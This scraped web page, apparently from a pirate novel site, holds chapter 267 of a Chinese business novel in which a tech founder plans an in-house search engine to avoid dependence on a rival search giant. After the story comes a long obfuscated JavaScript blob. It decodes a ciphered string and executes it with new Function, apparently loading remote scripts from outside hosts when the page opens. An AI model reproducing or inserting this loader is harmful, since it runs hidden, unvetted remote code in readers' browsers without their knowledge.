首页
第267章 未雨绸缪
返回
关灯 护眼:关 字号:小

第267章 未雨绸缪

章节报错(免登陆)

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    第267章未雨绸缪(第1/2页)
    京城,中关村的一家高档雪茄吧内。
    沈锋坐在幽暗的包厢里,随手掐灭了手里还剩大半截的古巴雪茄,拿起桌上的手机,快步走到走廊相对安静的角落,拨通了林辰的专线。
    作为辰希投资的负责人,沈锋这几天在京城可谓是如鱼得水。
    顶着百亿估值独角兽和手握重金的光环,他很快就重新融入了京城的顶级创投圈子,甚至成为了许多高端局的座上宾。
    在这个圈子里,没有任何秘密可以隐瞒太久。
    “林总,打扰了。刚才在一个局上,听到了一点风声。”
    电话一接通,沈锋便开门见山,压低了声音汇报,“企鹅互动娱乐事业群的副总裁科林·顾,昨天上午去了上地十街的某度大厦。他见的是某度的一把手李总。”
    阳城,国贸大厦二十八层。
    林辰站在落地窗前,看着外面川流不息的街道,神色平静:
    “去求援了?想让某度在搜索端对我们进行降权和屏蔽?”
    “老板料事如神。企鹅那边给出的筹码不小,据说愿意向某度开放部分内容生态的数据接口。”
    沈锋在电话那头感叹了一声,“不过,某度那边拒绝了。李总以搜索算法中立的理由,把科林·顾挡了回去。科林·顾走的时候脸色很难看。”
    林辰听完,嘴角勾起一抹淡淡的弧度,那是对巨头之间貌合神离的看透。
    “知道了。”
    林辰说道,“老李是个聪明人,他这是在权衡利弊。在我们的底牌没有完全翻开之前,他不想平白无故给自己树立一个死敌。”
    “老板,那咱们接下来要不要主动和某度接触一下,送个人情过去?”沈锋试探着问。
    “不用。”
    林辰转过身,走回宽大的办公桌前坐下,语气变得深沉起来。
    “沈锋,你要记住。商业社会里,别人今天给你的体面和中立,明天在足够的利益面前,随时都能收回去。把公司的命脉寄托在竞争对手的理智上,这是最愚蠢的做法。”
    挂断电话后,林辰没有马上叫人,而是独自坐在宽大的皮椅上,陷入了沉思。
    企鹅的这一步棋,虽然被某度挡了回去,但却给林辰敲响了警钟。
    在互联网的入口争夺中,社交、分发、支付,辰希都已经有了深厚的布局。
    但是,“搜索”这一块,依然是辰希生态里的一个空白地带。
    目前,飞鸽的数亿用户想要找一个软件,或者想了解某个资讯,第一反应依然是切出应用,打开浏览器去某度搜索。
    如果有一天,某度不再中立呢?
    如果阿里和企鹅开出让某度无法拒绝的价码呢?
    一旦搜索引擎的流量入口被掐断,辰希的各项业务必将受到掣肘。
    “不能等别人来卡脖子。”
    林辰拿起桌上的内线电话,按下了技术总监张栋的号码。
    “老张,带上你们技术部的几个核心架构师,现在到小会议室来。通知叶青也过来一趟。”
    十分钟后,二十八层的小会议室里。
    张栋带着几个顶着黑眼圈的架构师匆匆赶到,叶青也拿着工作笔记本坐了下来。大家看着坐在主位的林辰,知道老板肯定又有了新的战略部署。
    “刚才沈锋从京城传回消息,企鹅去敲了某度的门,想让某度在搜索端封杀飞鸽和辰希助手的下载链接。”
    林辰没有任何铺垫,直接把危机摆在了桌面上。
    会议室里的气氛顿时一紧。大家都很清楚某度在大夏国搜索领域的垄断地位,谷歌退出后,某度可以说是一家独大,掌握着全网七成以上的信息分发权。
    “某度答应了?”叶青眉头微蹙,握着笔的手指紧了紧。
    “拒绝了。”林辰端起水杯喝了一口,“但这次拒绝,不代表永远拒绝。我们不能把流量的咽喉一直暴露在别人的视线里。”
    林辰放下水杯,目光环视全场:“所以,我决定启动一个新的项目。我们要成立自己的搜索公司。”
    这句话一出,张栋和几个架构师面面相觑,脸上都露出了明显的为难之色。
    作为技术大牛,他们太清楚做搜索引擎的门槛有多高了。
    “老板,做搜索恐怕不现实。”
    张栋犹豫了一下,还是硬着头皮说出了技术上的难点。
    “传统的全网搜索引擎,需要搭建极其庞大的分布式爬虫系统,二十四小时不间断地去抓取全网数以百亿计的网页数据。这不仅需要海量的服务器集群支撑,还需要建立极其复杂的网页权重排名算法和反作弊机制。”
    “某度在这个领域深耕了十年,积累了深厚的技术壁垒和用户心智。我们现在作为一个新兵,去跟他们拼全网搜索,不仅烧钱的规模是个无底洞,而且用户根本没有理由放弃某度来用我们。”
    几个架构师也连连点头。这就像是刚造出汽车,就说要去跟波音公司竞争造大飞机一样,跨度太大,技术积累完全不够。
    面对技术团队的疑虑,林辰并没有反驳,反而露出了一个温和的笑容。
    (本章未完,请点击下一页继续阅读)第267章未雨绸缪(第2/2页)
    “老张,你们的技术思维太固化了。”
    林辰站起身,走到会议室的白板前,拿起黑色的马克笔。
    “谁说做搜索,就一定要去做全网的网页爬虫?”
    林辰在白板上画了一个巨大的圆圈,在里面写下“飞鸽”两个字。然后,他在圆圈的内部,画了几个相连的小方块,分别标上:公众号、辰希助手、美团、本地商户。
    “我要做的,不是再去造一个某度。我要做的,是基于我们自身两亿用户的‘智能站内生态搜索’。”
    林辰转过身,用笔尖点着白板,开始向这群技术骨干拆解他的全新战略:
    “某度的搜索是开放式的,他们在茫茫的互联网大海里捞针。但伴随着大量的信息冗余,用户搜一个关键词,弹出来的可能是一堆毫无价值的医疗广告和竞价排名页面。”
    “而我们,手握着全网质量最高、最纯粹的封闭生态圈。”
    “你们想想,飞鸽现在的公众号每天产生多少优质的原创新闻、行业分析和小说?辰希助手里沉淀了多少经过安全审核的应用和游戏?”
    “甚至,结合王兴在京城做的美团网络,我们很快就会拥有全国各地的餐饮、电影院、KTV的详细商户数据和地理位置信息。”
    林辰的声音沉稳而富有感染力:
    “当用户在飞鸽的顶端搜索框里,输入‘火锅’两个字。”
    “某度给他推的是火锅的百科介绍和各种锅底加盟广告。”
    “而我们的生态搜索,会直接调用LBS地理位置服务,给他推送距离他最近的三家火锅店,附带美团的团购打折券,点击就能直接用辰希支付买单,然后还能看到他微信好友对这家店的评价。”
    “当用户输入一个新闻事件,我们的搜索结果里没有乱七八糟的弹窗广告,而是直接呈现几篇深度分析的公众号爆款文章。”
    林辰放下马克笔,看着已经听入神的张栋等人。
    “这就是封闭生态的优势。我们要打通内部的数据孤岛,把用户在社交、阅读、消费、下载过程中的所有需求,在这个小小的搜索框里完成一站式闭环。”
    “不出站,不跳转。”
    “这需要去抓取外网的海量垃圾数据吗?不需要!我们需要的是对内部高价值数据的精准语义分析!”
    张栋的眼睛逐渐亮了起来。
    如果是传统的全网爬虫,他确实心里没底。
    但如果是针对集团内部的数据资产进行索引和检索分类,这对他的技术团队来说,简直就是得心应手!
    更重要的是,林辰描绘的这种商业应用场景,完全绕开了某度的防线,是在另一条高维度的赛道上奔跑。
    “我懂了!”
    张栋猛地拍了一下桌子,眼神中闪烁着技术人员特有的兴奋光芒。
    “这等于是把飞鸽变成了一个超级入口。用户的需求只要在飞鸽里产生了,就能在飞鸽里得到解决。这不仅降低了我们的开发成本,更进一步锁死了用户的使用时长!”
    “没错。”
    林辰重新坐下,把目光转向叶青,“而且,这也是变现的最佳渠道。当商户习惯了我们的搜索能给他们带去精准的客流时,我们不仅可以收交易抽成,还能在搜索结果的前排,合法合理地开展商业化排名服务。”
    叶青认真地做着记录,心里对林辰的商业构想叹服不已。
    在这个互联网巨头还在为流量入口争得头破血流的时候,林辰已经开始在自家后院里修建水库了。
    “不过,老张。”
    林辰看着张栋,提出了技术上的高标准要求。
    “这种生态搜索,不能是死板的关键词匹配。用户输入习惯千差万别,我要求搜索结果必须懂人话。”
    “这就需要自然语言处理和人工智能算法的介入。这几天赵娜已经在跟硅谷和清北的几位AI算法大牛接触了,猎头那边反馈不错,近期就会有顶尖的算法专家入职。”
    “你带着后端的架构团队,负责把数据的底层接口给他们梳理清楚。等算法团队一到位,马上进行融合。”
    林辰的语气不容置疑:“飞鸽的下一个大版本更新,我要看到这个搜索框出现在聊天列表的最上方。”
    张栋用力地点了点头,他知道这个项目一旦做成,辰希在移动端的地位将再也无人可以撼动。
    不仅防住了某度可能出现的封杀,更是给未来的商业帝国装上了一个高智能的发动机。
    会议结束。
    张栋拿着这几页写满底层架构需求的笔记本,步伐匆匆地走出了会议室。他现在脑子里全是数据结构和索引算法的建模,急需找几个核心骨干把这套方案细化出来。
    为了保证这项战略级任务的安全与进度,张栋当即向行政部提出了申请。
    当天下午,位于二十七层的软件研发中心,一片特殊的区域被临时清空,并更换了全新的安保系统。
    除了项目核心成员,任何人都无法靠近半步。
    研发中心的门禁权限被提升到了最高级别。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();